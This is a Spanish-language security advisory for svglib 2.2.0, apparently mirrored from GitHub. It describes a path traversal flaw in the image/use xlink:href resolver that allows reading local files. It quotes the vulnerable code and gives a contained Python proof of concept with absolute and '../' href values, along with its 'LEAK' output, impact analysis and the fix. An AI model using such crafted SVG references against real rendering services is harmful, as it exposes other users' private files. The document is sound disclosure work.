GHSA-2P5C-8VCC-4RCW
Lectura arbitraria de archivos locales mediante recorrido de rutas (path traversal) en el resolutor de xlink:href de image/use
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-2P5C-8VCC-4RCW divulgada · CVSS 5.3 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche 2.3.0 | svglib · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
svglib convierte SVG en dibujos de ReportLab, PDF o PNG (svg2rlg). Cuando renderiza un elemento <image> o <use>, `SvgRenderer.xlink_href_target()` resuelve el `xlink:href` o `href` del elemento a una ruta de archivo local e incrusta ese archivo en la salida. La resolución une la referencia controlada por el atacante al directorio del propio SVG con `os.path.join()` y no realiza ninguna comprobación de contención. Como `os.path.join(base, iri)` descarta `base` en cuanto `iri` es absoluta, y los segmentos `..` suben por encima de `base`, un SVG manipulado puede nombrar cualquier archivo que el proceso de renderizado pueda leer. Si ese archivo se decodifica como imagen raster (con cualquier extensión), sus bytes se copian tal cual a la salida; si es un `.svg` analizable como XML, se incrusta su contenido renderizado, incluido el texto. El resultado es una lectura arbitraria de archivos locales contra un servicio que convierte SVG no confiables desde una ruta de archivo. Esta es una clase y una ruta de código distintas del XXE de 2020 (CVE-2020-10799, corregido en la versión 0.9.4).
Detalles
Punto de escritura (sink): svglib/svglib.py:1689-1723, en `SvgRenderer.xlink_href_target()`:
# (los URI data: se manejan antes, en la línea 1665, y no son relevantes aquí)
if iri:
# Por ahora solo se admiten rutas relativas locales
if not isinstance(self.source_path, str):
logger.error(...) # origen tipo archivo -> rechazar (ver Alcanzabilidad)
return None
path = os.path.normpath(
os.path.join(os.path.dirname(self.source_path), iri) # :1689 <-- sin contención
)
if not os.access(path, os.R_OK): # :1692 solo verifica legibilidad, no ubicación
return None
...
if iri:
if path.endswith(".svg"):
... self._external_svgs[path] = ExternalSVG(path, self) ... # incrusta SVG externo
else:
try:
PDFImage(path, 0, 0) # :1719 ¿se decodifica como imagen? entonces incrustar
except OSError:
return None
return path # :1723 archivo incrustado en la salidaCausa raíz. El comentario indica la intención, "Only local relative paths are supported yet" (por ahora solo se admiten rutas relativas locales), pero nada lo aplica:
- `os.path.join(os.path.dirname(self.source_path), iri)` devuelve `iri` sin cambios cuando `iri` es absoluta (semántica estándar de Python), por lo que `xlink:href="/etc/..."` evita por completo el directorio base.
- Los segmentos `..` en un `iri` relativo son colapsados por `normpath` y pueden subir por encima del directorio del SVG (`xlink:href="../../secret/x.png"`).
- El único control es `os.access(path, os.R_OK)`, que verifica legibilidad y no ubicación.
No interviene ninguna obtención de URL ni de esquemas: todo lo que no es un URI `data:` se trata como ruta local. Se trata de un escape puro de directorio en el cálculo de la ruta local, no de un problema de SSRF ni de un recuperador (fetcher).
Prueba de concepto
Mínima y autocontenida. Se mantiene dentro de un único directorio temporal descartable y crea su propio archivo marcador, por lo que nunca lee nada real de la máquina donde se ejecuta. `secret/` representa lo que hay junto al directorio de cargas de un servicio real.
python3 -m venv .venv && .venv/bin/pip install svglib==2.2.0 pypdf"""PoC mínima: lectura arbitraria de archivos locales en svglib 2.2.0 (CWE-22).
pip install svglib==2.2.0 pypdf
Todo ocurre dentro de un único directorio temporal descartable; no se lee ningún archivo real.
"""
import os, tempfile
from PIL import Image
from pypdf import PdfReader
from reportlab.graphics import renderPDF
from svglib.svglib import svg2rlg
MARKER = (214, 2, 112)
SVG = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" ' \
'width="64" height="64"><image xlink:href="%s" width="64" height="64"/></svg>'
root = tempfile.mkdtemp()
uploads = os.path.join(root, "uploads") # lo que expone el servicio
secret = os.path.join(root, "secret") # lo que no debe exponer
os.makedirs(uploads); os.makedirs(secret)
target = os.path.join(secret, "marker.png")
Image.new("RGB", (64, 64), MARKER).save(target) # simula el archivo de otro inquilino
for label, href in [("absolute", target), ("traversal", "../secret/marker.png")]:
svg_path = os.path.join(uploads, "user.svg")
open(svg_path, "w").write(SVG % href)
pdf = os.path.join(root, "out.pdf")
renderPDF.drawToFile(svg2rlg(svg_path), pdf)
leaked = [im.image.convert("RGB").getpixel((1, 1)) == MARKER
for page in PdfReader(pdf).pages for im in page.images]
print("%-10s href=%-28r -> %s" % (label, href, "LEAK" if any(leaked) else "blocked"))Salida observada con svglib 2.2.0 (reportlab 5.0.1, pillow 12.3.0, CPython 3.13):
absolute href='/tmp/tmp74h6w5iz/secret/marker.png' -> LEAK
traversal href='../secret/marker.png' -> LEAKLEAK significa que el píxel extraído del PDF renderizado tiene el color marcador del archivo fuera de límites: el archivo fue incrustado en la salida. Una referencia que permanece dentro de uploads/ se renderiza con normalidad, por lo que el escape es lo único que cambia.
La PoC más extensa, que añade un control dentro de los límites y compara la imagen raster extraída con el marcador plantado, así como el verificador que comprueba la matriz completa de comportamientos de la corrección, se enviaron por correo.
Impacto
Confidencialidad: lectura arbitraria de archivos locales. Un cliente no autenticado que puede lograr que un servicio renderice un SVG que él controla puede exfiltrar archivos situados fuera del directorio previsto: byte a byte, para cualquier archivo que el proceso pueda leer y que se decodifique como imagen raster independientemente de su extensión, y con el contenido renderizado completo, incluido el texto, para cualquier `.svg` analizable como XML en cualquier parte del disco. El objetivo típico es un servicio multiinquilino de conversión de imágenes o PDF, donde los archivos fuera de límites son exactamente los activos sensibles: imágenes subidas por otros inquilinos, documentos SVG privados, archivos de datos o de configuración XML.
Restricción de tipo de contenido, verificada y reflejada en la puntuación. Los archivos que no se decodifican como raster ni se analizan como XML no se filtran: un archivo de texto plano (`.env`, `id_rsa`, `/etc/passwd`) o un archivo no XML simplemente llamado `*.svg` se omite, ya que `PDFImage` lanza `OSError` y el análisis del SVG externo no produce ninguna raíz. Por tanto, no se trata de una primitiva de lectura de cualquier archivo sin restricciones, sino de una lectura arbitraria limitada a contenido de imagen y XML/SVG. Por eso la puntuación principal es Moderada, 5.3 (C:L). En un renderizador multiinquilino, donde la divulgación de imágenes y documentos de otros inquilinos es precisamente el objetivo del ataque, la puntuación llega a 7.5 (C:H). I:N/A:N es una valoración honesta: no hay impacto en integridad ni en disponibilidad.
Alcanzabilidad
La API pública y documentada `svglib.svglib.svg2rlg(path)` asigna `self.source_path = path` y llega al punto de escritura sin ninguna opción para desactivar la resolución de referencias externas. La única precondición, indicada con honestidad: `svg2rlg` debe invocarse con una ruta de sistema de archivos (un `str` o un `pathlib.Path`), no con un objeto tipo archivo. Para un origen tipo archivo, `source_path` no es un `str` y el resolutor retorna temprano en la línea 1682, por lo que el escape no se activa.
En la práctica, esto no es una limitación menor, ya que la entrada por ruta es el modo principal y documentado de svglib:
- La firma con un solo argumento es `svg2rlg(path)`, y el paquete incluye la herramienta de línea de comandos svg2pdf, que opera únicamente con rutas de archivo (`svg2pdf in.svg -> in.pdf`).
- El patrón dominante en servidores es exactamente "guardar el SVG subido en disco y luego convertir la ruta", `svg2rlg("/var/uploads/user.svg")`, que queda completamente expuesto. El vector con ruta absoluta funciona independientemente de dónde se guarde la carga; el vector `../../` escapa del directorio de cargas desde donde sea que esté ubicado.
Aguas abajo, medido el 2026-09-14:
| consumidor | descargas/mes | punto de llamada | afectado |
|---|---|---|---|
| xhtml2pdf | 3,750,308 | svg2rlg(BytesIO(self._imgdata)), xhtml2pdf_reportlab.py:704 | no (objeto tipo archivo) |
| rst2pdf (extra svgsupport) | 140,042 | svg2rlg(filename), rst2pdf/svgimage.py:23 | sí (ruta) |
| CLI svg2pdf (incluida con svglib) | n/d | argumento de ruta | sí (ruta) |
xhtml2pdf es una dependencia obligatoria de svglib>=1.2.1 y explica la mayor parte de las instalaciones de svglib, por lo que la población instalada es mucho mayor que la expuesta. La población expuesta son los usuarios del modo de ruta: la CLI svg2pdf, rst2pdf y los servicios que guardan una carga y convierten el archivo guardado.
Remediación y soluciones alternativas
Se propone un parche en la solicitud de cambios (pull request) en la bifurcación privada de este aviso. Rechaza incondicionalmente las referencias absolutas, lo que solo aplica el contrato que el código ya declara, y añade un `external_reference_root` opcional en `svg2rlg()` y en `SvgRenderer` que aplica contención mediante `realpath` y `commonpath`, y la propaga a los renderizadores de SVG externos anidados. El comportamiento por defecto conserva el comportamiento actual para referencias relativas, incluidos los `..`, de modo que los documentos que apuntan legítimamente a `../assets/logo.png` siguen renderizándose y nada se rompe en silencio. Verificado en 2.2.0: ambos vectores y un SVG externo anidado
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypisvglib |
Corregida | 2.3.0 | 0 d | 2.4.0 no afectada |
2.3.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/deeplook/svglib/security/advisories/GHSA-2p5c-8vcc-4rcwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
